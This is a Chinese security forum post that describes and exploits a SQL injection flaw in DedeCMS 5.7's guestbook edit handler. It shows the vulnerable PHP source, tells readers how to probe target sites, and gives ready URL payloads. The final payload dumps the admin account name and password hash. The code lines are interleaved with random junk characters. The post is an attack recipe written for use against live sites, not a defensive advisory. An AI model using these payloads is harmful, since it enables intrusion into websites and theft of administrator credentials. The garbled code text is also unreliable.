找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3750|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
6 S4 A8 ]+ o  {$ I, x: {- e
( h( X5 M& h3 F; I1 x0 c' ^6 A漏洞文件edit.inc.php具体代码:% Z* Y$ W) D, M

9 L. c9 S, O$ ^< ?php  " w0 i# q9 y8 H, o: k+ P
. j1 o" n4 {2 ?3 [4 h& R. F4 X6 k
if(!defined('DEDEINC')) exit('Request Error!');  ' A; Y4 q) V# ?# a2 H+ q' u- S
4 P' S. z; D* h
   
: @( ^  p) g# W/ @
- [5 n" \, I) r+ g$ ]# Xif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  0 P9 l$ B. q8 m7 ~5 w

1 b3 `' f, T0 Y- L- C7 u2 V3 belse $GUEST_BOOK_POS = "guestbook.php";  & g2 A7 q! X$ K1 D
; y. H4 Q" L' G: h, }
   3 ?' R: T  E6 `. t5 ^7 t: A& t) e$ {
. e9 i5 v) B, b8 K, a8 ?
$id = intval($id);  
4 l% |* h$ A. |8 a: l* G# v
8 X4 j5 C- S, I: u" c7 \+ r* [if(empty($job)) $job='view';  
( n1 M" G" S; K+ I1 \( n- [4 O
1 l' ~, m0 q3 y' b   
# A, v0 Y' A; V8 k- Y" G1 G, ~6 g0 ]
if($job=='del' && $g_isadmin)  + i4 \$ Q3 \  e4 q5 j& z

% P0 t1 l: b! k  O3 K{  4 B, ?( m2 l. ?: m+ M' z
5 U5 \% a% D- o" G
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  0 n6 b- S* u1 y  T4 T0 e  I
( c6 c- P7 {3 f4 e4 N' O# [3 }$ y
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
0 t) h) G+ H! C- W& }0 t  M' G& r' ]) u" r  x  T* `: ^0 G7 V, g
exit();  
, h; k, X  C  D0 s5 h' q& ]( g  g6 ~  K! ?
}  
* w  u" S8 |5 N+ D
1 d/ m  m& G/ u& X" ?3 m4 ~else if($job=='check' && $g_isadmin)  , G( h: ~3 y0 {8 c$ ~
' T) {8 a2 |' \% N$ U
{  ( T' H- i- H% G" h$ X5 M2 ^# u) q# \
' |. S0 T* f3 M6 d# K
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
9 o# o+ C- {$ t: p
0 j  P$ V6 f! C7 r. e! w+ Y' ]ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
; V' Z- Z/ ?* k2 V
( y6 L& I8 [  U; Nexit();  9 ~9 [5 Y1 s- s% q; G9 W

( _' d9 u# u2 r6 g  c- d}  ( o5 Y0 J5 b  p% u
' T! i/ l, a. M  D. m5 A
else if($job=='editok')  
8 z& L1 r2 ~" N8 j7 H0 g
6 ?- R" ^5 s" V1 e{  
$ x" P+ F7 a) m
6 U- ]7 q5 F6 ^: m+ A* t$remsg = trim($remsg);  
5 h- ?! T$ E# |8 K4 I& U2 D
4 l, ?& q# M6 S9 }. _0 t# Dif($remsg!='')  2 w  Y3 b. I0 X& L, c2 o

. n9 s9 O/ B% p7 p{  
7 Y3 K: X# m4 s9 S
( F- P$ I& \  m4 P) Q8 y//管理员回复不过滤HTML By:Errorera blog:errs.cc  % i  n  |* y+ m
, |; H6 {6 I6 v- E3 W" ^
if($g_isadmin)  
) G; I; }" {& ?) t' r
1 v* m) p' L% y5 \, U{  
0 A0 `( Z* i  w& S8 C$ N& C9 o" \/ W1 ~; u( \
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
; T6 Q( b, l7 r1 r! `9 n- T2 n7 R: u8 x0 O0 p: n
//$remsg <br /><font color=red>管理员回复:</font> }  3 E" z$ m: z# N0 `! a- k5 ^. C+ j

4 E$ Z) p5 m9 O& y2 b" Z8 I, ?, welse
" X+ W. d: t; S; M; U; z5 Q. ~
9 d5 ~: c+ b+ L8 g$ j{  5 T  M6 l: I4 o$ K1 `( [( f& Q. E
7 D+ l# P7 _! q# T% F( d
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
* h, J5 T# _. z: ^2 i
# O+ q1 a; z! M' M! }7 w$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
/ B0 Q7 ~5 h3 H% e" D3 ?3 x* [' `$ g
& \0 M# }5 K1 X: x$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
6 W2 T. L6 P2 c3 N$ n7 Q
' k3 o7 y! T; c% r" R$msg = $oldmsg.$remsg;  3 _6 A0 v  `, z- b! x/ \: e7 [7 d

* C3 B& }% R% t2 h2 \" E) Y}  3 }2 ?. P8 _# u/ Y7 J: T

; E4 E7 k8 [) v* d$ {}  
: B5 |$ G* A9 H4 g- W% ^( g: L  u3 F) r
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  " r7 Q( v& |- ?! Q( V
( L! x% n8 W8 `' H% t
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  $ v# n8 Z8 E5 y# W/ S- U
: h9 A+ a" R8 o( b0 q0 Y
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
; X1 w% J6 W1 H! X
, k$ r) j+ W4 X( ^0 @) \, ^exit();  
+ f0 {+ T$ o* R, `' x& F; I% c
. V3 g; `( g9 z- V' A: x}  . b5 {! Q  V& `
, I$ ]/ e4 _1 U8 i
//home:www.errs.cc  : Q& v  r2 |* Z; z- s  V

6 a* C5 s  h" O: R1 Xif($g_isadmin)  . J3 B' l! W7 o9 e9 h

" G& l% [# x4 l+ q7 I! s{  , B1 F- W" t+ K; j4 f  P  q

- L) l1 r7 V1 U$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  0 _: d* J& `) ~: [& U+ l( \( `& w
! n5 j1 j- H6 Y6 F
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
7 v6 X  g0 p" Z( v$ f9 E+ u" D" Z$ v2 t9 n# m6 ?: ]
}  ' b. M0 D. c0 z

. I7 c$ d3 Q& @* e/ Relse
; y/ O; q" ~3 t$ ^7 {# r  q5 C6 m, H3 C9 Q
{  ' h2 b0 [# f! P) {
7 t! P7 _* E, x7 |7 I
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  2 Y3 w  \/ e* @& c& h
8 D6 M3 `* Z3 i) s9 e- U3 _1 n
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  2 o2 U: g6 j* t* q) r* y* R
+ W! }) d- l6 j! [0 ]4 D$ n9 q
} 漏洞成功需要条件:
$ _: _  R- V. f. ~0 v" V1. php magic_quotes_gpc=off& E9 ?0 R$ H! [& }# v5 j
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。% O! x# M/ U  q& U
  S# w) _+ w/ ?* M, x
怎么判断是否存在漏洞:# X2 }6 o+ G) ^1 c
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
1 x) @- ~9 ]" j' I5 Q; O然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
7 m% |. [4 Q* V访问:
3 }0 L7 _# j3 ?! g1 u* P! H. W1 g( f$ J# R
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
) ^1 k2 D" {$ W* T! V* q- i跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证/ _. i' o. z4 n- G) W" s' ]( M
& x* L( D! k! {7 R
: I$ p; @6 t- Z% ~: m8 [0 {- d
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
+ w* d* X) ?# u4 s' P$ ^8 C如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
3 s3 m" Z9 ~' l那么再次访问2 U& ^  L8 L/ M( C2 u( v

. \7 X0 a2 F6 hwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().$ a6 n2 h! h# s2 l- A* n' I% Z

$ J' {3 H5 i9 `7 m/ C大概利用就是这样,大家有兴趣的多研究下!!) y) ^' p: q& a( x

5 N& V) F) u- E最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
, }6 w* w" ?2 ^! v- T1 {9 P9 ~: s3 N
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表